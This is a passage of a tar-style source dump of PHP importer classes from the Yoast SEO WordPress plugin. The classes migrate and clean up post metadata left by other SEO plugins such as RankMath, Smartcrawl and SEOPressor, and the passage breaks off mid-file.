wordpress-seo/admin/import/plugins/class-import-smartcrawl.php000064400000006221147510273110020750 0ustar00<?php
/**
 * File with the class to handle data from Smartcrawl SEO.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Smartcrawl SEO post metadata.
 */
class WPSEO_Import_Smartcrawl_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Smartcrawl SEO';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_wds_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_wds_metadesc',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_wds_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_wds_canonical',
			'new_key' => 'canonical',
		],
		[
			'old_key' => '_wds_focus-keywords',
			'new_key' => 'focuskw',
		],
		[
			'old_key' => '_wds_meta-robots-noindex',
			'new_key' => 'meta-robots-noindex',
		],
		[
			'old_key' => '_wds_meta-robots-nofollow',
			'new_key' => 'meta-robots-nofollow',
		],
	];

	/**
	 * Used for importing Twitter and Facebook meta's.
	 *
	 * @var array
	 */
	protected $social_keys = [];

	/**
	 * Handles post meta data to import.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		$return = parent::import();
		if ( $return ) {
			$this->import_opengraph();
			$this->import_twitter();
		}

		return $return;
	}

	/**
	 * Imports the OpenGraph meta keys saved by Smartcrawl.
	 *
	 * @return bool Import status.
	 */
	protected function import_opengraph() {
		$this->social_keys = [
			'title'       => 'opengraph-title',
			'description' => 'opengraph-description',
			'images'      => 'opengraph-image',
		];
		return $this->post_find_import( '_wds_opengraph' );
	}

	/**
	 * Imports the Twitter meta keys saved by Smartcrawl.
	 *
	 * @return bool Import status.
	 */
	protected function import_twitter() {
		$this->social_keys = [
			'title'       => 'twitter-title',
			'description' => 'twitter-description',
		];
		return $this->post_find_import( '_wds_twitter' );
	}

	/**
	 * Imports a post's serialized post meta values.
	 *
	 * @param int    $post_id Post ID.
	 * @param string $key     The meta key to import.
	 *
	 * @return void
	 */
	protected function import_serialized_post_meta( $post_id, $key ) {
		$data = get_post_meta( $post_id, $key, true );
		$data = maybe_unserialize( $data );
		foreach ( $this->social_keys as $key => $meta_key ) {
			if ( ! isset( $data[ $key ] ) ) {
				return;
			}
			$value = $data[ $key ];
			if ( is_array( $value ) ) {
				$value = $value[0];
			}
			$this->maybe_save_post_meta( $meta_key, $value, $post_id );
		}
	}

	/**
	 * Finds all the posts with a certain meta key and imports its values.
	 *
	 * @param string $key The meta key to search for.
	 *
	 * @return bool Import status.
	 */
	protected function post_find_import( $key ) {
		$query_posts = new WP_Query( 'post_type=any&meta_key=' . $key . '&order=ASC&fields=ids&nopaging=true' );

		if ( empty( $query_posts->posts ) ) {
			return false;
		}

		foreach ( array_values( $query_posts->posts ) as $post_id ) {
			$this->import_serialized_post_meta( $post_id, $key );
		}

		return true;
	}
}
wordpress-seo/admin/import/plugins/class-import-woothemes-seo.php000064400000004751147510273110021375 0ustar00<?php
/**
 * File with the class to handle data from WooThemes SEO.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_WooThemes_SEO
 *
 * Class with functionality to import & clean WooThemes SEO post metadata.
 */
class WPSEO_Import_WooThemes_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'WooThemes SEO';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = 'seo_title';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => 'seo_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => 'seo_title',
			'new_key' => 'title',
		],
		[
			'old_key' => 'seo_noindex',
			'new_key' => 'meta-robots-noindex',
		],
		[
			'old_key' => 'seo_follow',
			'new_key' => 'meta-robots-nofollow',
		],
	];

	/**
	 * Holds the meta fields we can delete after import.
	 *
	 * @var array
	 */
	protected $cleanup_metas = [
		'seo_follow',
		'seo_noindex',
		'seo_title',
		'seo_description',
		'seo_keywords',
	];

	/**
	 * Holds the options we can delete after import.
	 *
	 * @var array
	 */
	protected $cleanup_options = [
		'seo_woo_archive_layout',
		'seo_woo_single_layout',
		'seo_woo_page_layout',
		'seo_woo_wp_title',
		'seo_woo_meta_single_desc',
		'seo_woo_meta_single_key',
		'seo_woo_home_layout',
	];

	/**
	 * Cleans up the WooThemes SEO settings.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		$result = $this->cleanup_meta();
		if ( $result ) {
			$this->cleanup_options();
		}
		return $result;
	}

	/**
	 * Removes the Woo Options from the database.
	 *
	 * @return void
	 */
	private function cleanup_options() {
		foreach ( $this->cleanup_options as $option ) {
			delete_option( $option );
		}
	}

	/**
	 * Removes the post meta fields from the database.
	 *
	 * @return bool Cleanup status.
	 */
	private function cleanup_meta() {
		foreach ( $this->cleanup_metas as $key ) {
			$result = $this->cleanup_meta_key( $key );
			if ( ! $result ) {
				return false;
			}
		}
		return true;
	}

	/**
	 * Removes a single meta field from the postmeta table in the database.
	 *
	 * @param string $key The meta_key to delete.
	 *
	 * @return bool Cleanup status.
	 */
	private function cleanup_meta_key( $key ) {
		global $wpdb;

		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s",
				$key
			)
		);
		return $wpdb->__get( 'result' );
	}
}
wordpress-seo/admin/import/plugins/class-abstract-plugin-importer.php000064400000020440147510273110022216 0ustar00<?php
/**
 * This file holds the abstract class for dealing with imports from other plugins.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Plugin_Importer.
 *
 * Class with functionality to import meta data from other plugins.
 */
abstract class WPSEO_Plugin_Importer {

	/**
	 * Holds the import status object.
	 *
	 * @var WPSEO_Import_Status
	 */
	protected $status;

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name;

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key;

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys;

	/**
	 * Class constructor.
	 */
	public function __construct() {}

	/**
	 * Returns the string for the plugin we're importing from.
	 *
	 * @return string Plugin name.
	 */
	public function get_plugin_name() {
		return $this->plugin_name;
	}

	/**
	 * Imports the settings and post meta data from another SEO plugin.
	 *
	 * @return WPSEO_Import_Status Import status object.
	 */
	public function run_import() {
		$this->status = new WPSEO_Import_Status( 'import', false );

		if ( ! $this->detect() ) {
			return $this->status;
		}

		$this->status->set_status( $this->import() );

		// Flush the entire cache, as we no longer know what's valid and what's not.
		wp_cache_flush();

		return $this->status;
	}

	/**
	 * Handles post meta data to import.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		return $this->meta_keys_clone( $this->clone_keys );
	}

	/**
	 * Removes the plugin data from the database.
	 *
	 * @return WPSEO_Import_Status Import status object.
	 */
	public function run_cleanup() {
		$this->status = new WPSEO_Import_Status( 'cleanup', false );

		if ( ! $this->detect() ) {
			return $this->status;
		}

		return $this->status->set_status( $this->cleanup() );
	}

	/**
	 * Removes the plugin data from the database.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		global $wpdb;
		if ( empty( $this->meta_key ) ) {
			return true;
		}
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE %s",
				$this->meta_key
			)
		);
		$result = $wpdb->__get( 'result' );
		if ( ! $result ) {
			$this->cleanup_error_msg();
		}

		return $result;
	}

	/**
	 * Sets the status message for when a cleanup has gone bad.
	 *
	 * @return void
	 */
	protected function cleanup_error_msg() {
		/* translators: %s is replaced with the plugin's name. */
		$this->status->set_msg( sprintf( __( 'Cleanup of %s data failed.', 'wordpress-seo' ), $this->plugin_name ) );
	}

	/**
	 * Detects whether an import for this plugin is needed.
	 *
	 * @return WPSEO_Import_Status Import status object.
	 */
	public function run_detect() {
		$this->status = new WPSEO_Import_Status( 'detect', false );

		if ( ! $this->detect() ) {
			return $this->status;
		}

		return $this->status->set_status( true );
	}

	/**
	 * Detects whether there is post meta data to import.
	 *
	 * @return bool Boolean indicating whether there is something to import.
	 */
	protected function detect() {
		global $wpdb;

		$meta_keys = wp_list_pluck( $this->clone_keys, 'old_key' );
		$result    = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT(*) AS `count`
					FROM {$wpdb->postmeta}
					WHERE meta_key IN ( " . implode( ', ', array_fill( 0, count( $meta_keys ), '%s' ) ) . ' )',
				$meta_keys
			)
		);

		if ( $result === '0' ) {
			return false;
		}

		return true;
	}

	/**
	 * Helper function to clone meta keys and (optionally) change their values in bulk.
	 *
	 * @param string $old_key        The existing meta key.
	 * @param string $new_key        The new meta key.
	 * @param array  $replace_values An array, keys old value, values new values.
	 *
	 * @return bool Clone status.
	 */
	protected function meta_key_clone( $old_key, $new_key, $replace_values = [] ) {
		global $wpdb;

		// First we create a temp table with all the values for meta_key.
		$result = $wpdb->query(
			$wpdb->prepare(
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange -- This is intentional + temporary.
				"CREATE TEMPORARY TABLE tmp_meta_table SELECT * FROM {$wpdb->postmeta} WHERE meta_key = %s",
				$old_key
			)
		);
		if ( $result === false ) {
			$this->set_missing_db_rights_status();
			return false;
		}

		// Delete all the values in our temp table for posts that already have data for $new_key.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM tmp_meta_table WHERE post_id IN ( SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s )",
				WPSEO_Meta::$meta_prefix . $new_key
			)
		);

		/*
		 * We set meta_id to NULL so on re-insert into the postmeta table, MYSQL can set
		 * new meta_id's and we don't get duplicates.
		 */
		$wpdb->query( 'UPDATE tmp_meta_table SET meta_id = NULL' );

		// Now we rename the meta_key.
		$wpdb->query(
			$wpdb->prepare(
				'UPDATE tmp_meta_table SET meta_key = %s',
				WPSEO_Meta::$meta_prefix . $new_key
			)
		);

		$this->meta_key_clone_replace( $replace_values );

		// With everything done, we insert all our newly cloned lines into the postmeta table.
		$wpdb->query( "INSERT INTO {$wpdb->postmeta} SELECT * FROM tmp_meta_table" );

		// Now we drop our temporary table.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange -- This is intentional + a temporary table.
		$wpdb->query( 'DROP TEMPORARY TABLE IF EXISTS tmp_meta_table' );

		return true;
	}

	/**
	 * Clones multiple meta keys.
	 *
	 * @param array $clone_keys The keys to clone.
	 *
	 * @return bool Success status.
	 */
	protected function meta_keys_clone( $clone_keys ) {
		foreach ( $clone_keys as $clone_key ) {
			$result = $this->meta_key_clone( $clone_key['old_key'], $clone_key['new_key'], ( $clone_key['convert'] ?? [] ) );
			if ( ! $result ) {
				return false;
			}
		}
		return true;
	}

	/**
	 * Sets the import status to false and returns a message about why it failed.
	 *
	 * @return void
	 */
	protected function set_missing_db_rights_status() {
		$this->status->set_status( false );
		/* translators: %s is replaced with Yoast SEO. */
		$this->status->set_msg( sprintf( __( 'The %s importer functionality uses temporary database tables. It seems your WordPress install does not have the capability to do this, please consult your hosting provider.', 'wordpress-seo' ), 'Yoast SEO' ) );
	}

	/**
	 * Helper function to search for a key in an array and maybe save it as a meta field.
	 *
	 * @param string $plugin_key The key in the $data array to check.
	 * @param string $yoast_key  The identifier we use in our meta settings.
	 * @param array  $data       The array of data for this post to sift through.
	 * @param int    $post_id    The post ID.
	 *
	 * @return void
	 */
	protected function import_meta_helper( $plugin_key, $yoast_key, $data, $post_id ) {
		if ( ! empty( $data[ $plugin_key ] ) ) {
			$this->maybe_save_post_meta( $yoast_key, $data[ $plugin_key ], $post_id );
		}
	}

	/**
	 * Saves a post meta value if it doesn't already exist.
	 *
	 * @param string $new_key The key to save.
	 * @param mixed  $value   The value to set the key to.
	 * @param int    $post_id The Post to save the meta for.
	 *
	 * @return void
	 */
	protected function maybe_save_post_meta( $new_key, $value, $post_id ) {
		// Big. Fat. Sigh. Mostly used for _yst_is_cornerstone, but might be useful for other hidden meta's.
		$key        = WPSEO_Meta::$meta_prefix . $new_key;
		$wpseo_meta = true;
		if ( substr( $new_key, 0, 1 ) === '_' ) {
			$key        = $new_key;
			$wpseo_meta = false;
		}

		$existing_value = get_post_meta( $post_id, $key, true );
		if ( empty( $existing_value ) ) {
			if ( $wpseo_meta ) {
				WPSEO_Meta::set_value( $new_key, $value, $post_id );
				return;
			}
			update_post_meta( $post_id, $new_key, $value );
		}
	}

	/**
	 * Replaces values in our temporary table according to our settings.
	 *
	 * @param array $replace_values Key value pair of values to replace with other values.
	 *
	 * @return void
	 */
	protected function meta_key_clone_replace( $replace_values ) {
		global $wpdb;

		// Now we replace values if needed.
		if ( is_array( $replace_values ) && $replace_values !== [] ) {
			foreach ( $replace_values as $old_value => $new_value ) {
				$wpdb->query(
					$wpdb->prepare(
						'UPDATE tmp_meta_table SET meta_value = %s WHERE meta_value = %s',
						$new_value,
						$old_value
					)
				);
			}
		}
	}
}
wordpress-seo/admin/import/plugins/class-import-wpseo.php000064400000016366147510273110017741 0ustar00<?php
/**
 * File with the class to handle data from wpSEO.de.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_WPSEO.
 *
 * Class with functionality to import & clean wpSEO.de post metadata.
 */
class WPSEO_Import_WPSEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'wpSEO.de';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_wpseo_edit_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_wpseo_edit_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_wpseo_edit_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_wpseo_edit_canonical',
			'new_key' => 'canonical',
		],
		[
			'old_key' => '_wpseo_edit_og_title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => '_wpseo_edit_og_description',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => '_wpseo_edit_og_image',
			'new_key' => 'opengraph-image',
		],
		[
			'old_key' => '_wpseo_edit_twittercard_title',
			'new_key' => 'twitter-title',
		],
		[
			'old_key' => '_wpseo_edit_twittercard_description',
			'new_key' => 'twitter-description',
		],
		[
			'old_key' => '_wpseo_edit_twittercard_image',
			'new_key' => 'twitter-image',
		],
	];

	/**
	 * The values 1 - 6 are the configured values from wpSEO. This array will map the values of wpSEO to our values.
	 *
	 * There are some double array like 1-6 and 3-4. The reason is they only set the index value. The follow value is
	 * the default we use in the cases there isn't a follow value present.
	 *
	 * @var array
	 */
	private $robot_values = [
		// In wpSEO: index, follow.
		1 => [
			'index'  => 2,
			'follow' => 0,
		],
		// In wpSEO: index, nofollow.
		2 => [
			'index'  => 2,
			'follow' => 1,
		],
		// In wpSEO: noindex.
		3 => [
			'index'  => 1,
			'follow' => 0,
		],
		// In wpSEO: noindex, follow.
		4 => [
			'index'  => 1,
			'follow' => 0,
		],
		// In wpSEO: noindex, nofollow.
		5 => [
			'index'  => 1,
			'follow' => 1,
		],
		// In wpSEO: index.
		6 => [
			'index'  => 2,
			'follow' => 0,
		],
	];

	/**
	 * Imports wpSEO settings.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		$status = parent::import();
		if ( $status ) {
			$this->import_post_robots();
			$this->import_taxonomy_metas();
		}

		return $status;
	}

	/**
	 * Removes wpseo.de post meta's.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		$this->cleanup_term_meta();
		$result = $this->cleanup_post_meta();
		return $result;
	}

	/**
	 * Detects whether there is post meta data to import.
	 *
	 * @return bool Boolean indicating whether there is something to import.
	 */
	protected function detect() {
		if ( parent::detect() ) {
			return true;
		}

		global $wpdb;
		$count = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->options} WHERE option_name LIKE 'wpseo_category_%'" );
		if ( $count !== '0' ) {
			return true;
		}

		return false;
	}

	/**
	 * Imports the robot values from WPSEO plugin. These have to be converted to the Yoast format.
	 *
	 * @return void
	 */
	private function import_post_robots() {
		$query_posts = new WP_Query( 'post_type=any&meta_key=_wpseo_edit_robots&order=ASC&fields=ids&nopaging=true' );

		if ( ! empty( $query_posts->posts ) ) {
			foreach ( array_values( $query_posts->posts ) as $post_id ) {
				$this->import_post_robot( $post_id );
			}
		}
	}

	/**
	 * Gets the wpSEO robot value and map this to Yoast SEO values.
	 *
	 * @param int $post_id The post id of the current post.
	 *
	 * @return void
	 */
	private function import_post_robot( $post_id ) {
		$wpseo_robots = get_post_meta( $post_id, '_wpseo_edit_robots', true );
		$robot_value  = $this->get_robot_value( $wpseo_robots );

		// Saving the new meta values for Yoast SEO.
		$this->maybe_save_post_meta( 'meta-robots-noindex', $robot_value['index'], $post_id );
		$this->maybe_save_post_meta( 'meta-robots-nofollow', $robot_value['follow'], $post_id );
	}

	/**
	 * Imports the taxonomy metas from wpSEO.
	 *
	 * @return void
	 */
	private function import_taxonomy_metas() {
		$terms    = get_terms(
			[
				'taxonomy'   => get_taxonomies(),
				'hide_empty' => false,
			]
		);
		$tax_meta = get_option( 'wpseo_taxonomy_meta' );

		foreach ( $terms as $term ) {
			$this->import_taxonomy_description( $tax_meta, $term->taxonomy, $term->term_id );
			$this->import_taxonomy_robots( $tax_meta, $term->taxonomy, $term->term_id );
		}

		update_option( 'wpseo_taxonomy_meta', $tax_meta );
	}

	/**
	 * Imports the meta description to Yoast SEO.
	 *
	 * @param array  $tax_meta The array with the current metadata.
	 * @param string $taxonomy String with the name of the taxonomy.
	 * @param string $term_id  The ID of the current term.
	 *
	 * @return void
	 */
	private function import_taxonomy_description( &$tax_meta, $taxonomy, $term_id ) {
		$description = get_option( 'wpseo_' . $taxonomy . '_' . $term_id, false );
		if ( $description !== false ) {
			// Import description.
			$tax_meta[ $taxonomy ][ $term_id ]['wpseo_desc'] = $description;
		}
	}

	/**
	 * Imports the robot value to Yoast SEO.
	 *
	 * @param array  $tax_meta The array with the current metadata.
	 * @param string $taxonomy String with the name of the taxonomy.
	 * @param string $term_id  The ID of the current term.
	 *
	 * @return void
	 */
	private function import_taxonomy_robots( &$tax_meta, $taxonomy, $term_id ) {
		$wpseo_robots = get_option( 'wpseo_' . $taxonomy . '_' . $term_id . '_robots', false );
		if ( $wpseo_robots === false ) {
			return;
		}
		// The value 1, 2 and 6 are the index values in wpSEO.
		$new_robot_value = 'noindex';

		if ( in_array( (int) $wpseo_robots, [ 1, 2, 6 ], true ) ) {
			$new_robot_value = 'index';
		}

		$tax_meta[ $taxonomy ][ $term_id ]['wpseo_noindex'] = $new_robot_value;
	}

	/**
	 * Deletes the wpSEO taxonomy meta data.
	 *
	 * @param string $taxonomy String with the name of the taxonomy.
	 * @param string $term_id  The ID of the current term.
	 *
	 * @return void
	 */
	private function delete_taxonomy_metas( $taxonomy, $term_id ) {
		delete_option( 'wpseo_' . $taxonomy . '_' . $term_id );
		delete_option( 'wpseo_' . $taxonomy . '_' . $term_id . '_robots' );
	}

	/**
	 * Gets the robot config by given wpSEO robots value.
	 *
	 * @param string $wpseo_robots The value in wpSEO that needs to be converted to the Yoast format.
	 *
	 * @return string The correct robot value.
	 */
	private function get_robot_value( $wpseo_robots ) {
		if ( array_key_exists( $wpseo_robots, $this->robot_values ) ) {
			return $this->robot_values[ $wpseo_robots ];
		}

		return $this->robot_values[1];
	}

	/**
	 * Deletes wpSEO postmeta from the database.
	 *
	 * @return bool Cleanup status.
	 */
	private function cleanup_post_meta() {
		global $wpdb;

		// If we get to replace the data, let's do some proper cleanup.
		return $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE '_wpseo_edit_%'" );
	}

	/**
	 * Cleans up the wpSEO term meta.
	 *
	 * @return void
	 */
	private function cleanup_term_meta() {
		$terms = get_terms(
			[
				'taxonomy'   => get_taxonomies(),
				'hide_empty' => false,
			]
		);

		foreach ( $terms as $term ) {
			$this->delete_taxonomy_metas( $term->taxonomy, $term->term_id );
		}
	}
}
wordpress-seo/admin/import/plugins/class-importers.php000064400000001634147510273110017310 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Plugin_Importers.
 *
 * Object which contains all importers.
 */
class WPSEO_Plugin_Importers {

	/**
	 * List of supported importers.
	 *
	 * @var array
	 */
	private static $importers = [
		'WPSEO_Import_AIOSEO',
		'WPSEO_Import_AIOSEO_V4',
		'WPSEO_Import_Greg_SEO',
		'WPSEO_Import_HeadSpace',
		'WPSEO_Import_Jetpack_SEO',
		'WPSEO_Import_WP_Meta_SEO',
		'WPSEO_Import_Platinum_SEO',
		'WPSEO_Import_Premium_SEO_Pack',
		'WPSEO_Import_RankMath',
		'WPSEO_Import_SEOPressor',
		'WPSEO_Import_SEO_Framework',
		'WPSEO_Import_Smartcrawl_SEO',
		'WPSEO_Import_Squirrly',
		'WPSEO_Import_Ultimate_SEO',
		'WPSEO_Import_WooThemes_SEO',
		'WPSEO_Import_WPSEO',
	];

	/**
	 * Returns an array of importers available.
	 *
	 * @return array Available importers.
	 */
	public static function get() {
		return self::$importers;
	}
}
wordpress-seo/admin/import/plugins/class-import-rankmath.php000064400000011255147510273110020401 0ustar00<?php
/**
 * File with the class to handle data from RankMath.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import RankMath post metadata.
 */
class WPSEO_Import_RankMath extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'RankMath';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = 'rank_math_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => 'rank_math_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => 'rank_math_title',
			'new_key' => 'title',
		],
		[
			'old_key' => 'rank_math_canonical_url',
			'new_key' => 'canonical',
		],
		[
			'old_key' => 'rank_math_primary_category',
			'new_key' => 'primary_category',
		],
		[
			'old_key' => 'rank_math_facebook_title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => 'rank_math_facebook_description',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => 'rank_math_facebook_image',
			'new_key' => 'opengraph-image',
		],
		[
			'old_key' => 'rank_math_facebook_image_id',
			'new_key' => 'opengraph-image-id',
		],
		[
			'old_key' => 'rank_math_twitter_title',
			'new_key' => 'twitter-title',
		],
		[
			'old_key' => 'rank_math_twitter_description',
			'new_key' => 'twitter-description',
		],
		[
			'old_key' => 'rank_math_twitter_image',
			'new_key' => 'twitter-image',
		],
		[
			'old_key' => 'rank_math_twitter_image_id',
			'new_key' => 'twitter-image-id',
		],
		[
			'old_key' => 'rank_math_focus_keyword',
			'new_key' => 'focuskw',
		],
	];

	/**
	 * Handles post meta data to import.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		global $wpdb;
		// Replace % with %% as their variables are the same except for that.
		$wpdb->query( "UPDATE $wpdb->postmeta SET meta_value = REPLACE( meta_value, '%', '%%' ) WHERE meta_key IN ( 'rank_math_description', 'rank_math_title' )" );

		$this->import_meta_robots();
		$return = $this->meta_keys_clone( $this->clone_keys );

		// Return %% to % so our import is non-destructive.
		$wpdb->query( "UPDATE $wpdb->postmeta SET meta_value = REPLACE( meta_value, '%%', '%' ) WHERE meta_key IN ( 'rank_math_description', 'rank_math_title' )" );

		if ( $return ) {
			$this->import_settings();
		}

		return $return;
	}

	/**
	 * RankMath stores robots meta quite differently, so we have to parse it out.
	 *
	 * @return void
	 */
	private function import_meta_robots() {
		global $wpdb;
		$post_metas = $wpdb->get_results( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = 'rank_math_robots'" );
		foreach ( $post_metas as $post_meta ) {
			// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions -- Reason: We can't control the form in which Rankmath sends the data.
			$robots_values = unserialize( $post_meta->meta_value );
			foreach ( [ 'noindex', 'nofollow' ] as $directive ) {
				$directive_key = array_search( $directive, $robots_values, true );
				if ( $directive_key !== false ) {
					update_post_meta( $post_meta->post_id, '_yoast_wpseo_meta-robots-' . $directive, 1 );
					unset( $robots_values[ $directive_key ] );
				}
			}
			if ( count( $robots_values ) > 0 ) {
				$value = implode( ',', $robots_values );
				update_post_meta( $post_meta->post_id, '_yoast_wpseo_meta-robots-adv', $value );
			}
		}
	}

	/**
	 * Imports some of the RankMath settings.
	 *
	 * @return void
	 */
	private function import_settings() {
		$settings = [
			'title_separator'      => 'separator',
			'homepage_title'       => 'title-home-wpseo',
			'homepage_description' => 'metadesc-home-wpseo',
			'author_archive_title' => 'title-author-wpseo',
			'date_archive_title'   => 'title-archive-wpseo',
			'search_title'         => 'title-search-wpseo',
			'404_title'            => 'title-404-wpseo',
			'pt_post_title'        => 'title-post',
			'pt_page_title'        => 'title-page',
		];
		$options  = get_option( 'rank-math-options-titles' );

		foreach ( $settings as $import_setting_key => $setting_key ) {
			if ( ! empty( $options[ $import_setting_key ] ) ) {
				$value = $options[ $import_setting_key ];
				// Make sure replace vars work.
				$value = str_replace( '%', '%%', $value );
				WPSEO_Options::set( $setting_key, $value );
			}
		}
	}

	/**
	 * Removes the plugin data from the database.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		$return = parent::cleanup();
		if ( $return ) {
			global $wpdb;
			$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'rank-math-%'" );
			$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE '%rank_math%'" );
		}

		return $return;
	}
}
wordpress-seo/admin/import/plugins/class-import-wp-meta-seo.php000064400000003056147510273110020732 0ustar00<?php
/**
 * File with the class to handle data from WP Meta SEO.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean WP Meta SEO post metadata.
 */
class WPSEO_Import_WP_Meta_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'WP Meta SEO';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_metaseo_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_metaseo_metadesc',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_metaseo_metatitle',
			'new_key' => 'title',
		],
		[
			'old_key' => '_metaseo_metaopengraph-title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => '_metaseo_metaopengraph-desc',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => '_metaseo_metaopengraph-image',
			'new_key' => 'opengraph-image',
		],
		[
			'old_key' => '_metaseo_metatwitter-title',
			'new_key' => 'twitter-title',
		],
		[
			'old_key' => '_metaseo_metatwitter-desc',
			'new_key' => 'twitter-description',
		],
		[
			'old_key' => '_metaseo_metatwitter-image',
			'new_key' => 'twitter-image',
		],
		[
			'old_key' => '_metaseo_metaindex',
			'new_key' => 'meta-robots-noindex',
			'convert' => [
				'index'   => 0,
				'noindex' => 1,
			],
		],
		[
			'old_key' => '_metaseo_metafollow',
			'new_key' => 'meta-robots-nofollow',
			'convert' => [
				'follow'   => 0,
				'nofollow' => 1,
			],
		],
	];
}
wordpress-seo/admin/import/plugins/class-import-seopressor.php000064400000011445147510273110021001 0ustar00<?php
/**
 * File with the class to handle data from SEOPressor.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_SEOPressor.
 *
 * Class with functionality to import & clean SEOPressor post metadata.
 */
class WPSEO_Import_SEOPressor extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'SEOpressor';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_seop_settings';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_seop_settings',
		],
	];

	/**
	 * Imports the post meta values to Yoast SEO.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		// Query for all the posts that have an _seop_settings meta set.
		$query_posts = new WP_Query( 'post_type=any&meta_key=_seop_settings&order=ASC&fields=ids&nopaging=true' );
		foreach ( $query_posts->posts as $post_id ) {
			$this->import_post_focus_keywords( $post_id );
			$this->import_seopressor_post_settings( $post_id );
		}

		return true;
	}

	/**
	 * Removes all the post meta fields SEOpressor creates.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		global $wpdb;

		// If we get to replace the data, let's do some proper cleanup.
		return $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE '_seop_%'" );
	}

	/**
	 * Imports the data. SEOpressor stores most of the data in one post array, this loops over it.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	private function import_seopressor_post_settings( $post_id ) {
		$settings = get_post_meta( $post_id, '_seop_settings', true );

		foreach (
			[
				'fb_description'   => 'opengraph-description',
				'fb_title'         => 'opengraph-title',
				'fb_type'          => 'og_type',
				'fb_img'           => 'opengraph-image',
				'meta_title'       => 'title',
				'meta_description' => 'metadesc',
				'meta_canonical'   => 'canonical',
				'tw_description'   => 'twitter-description',
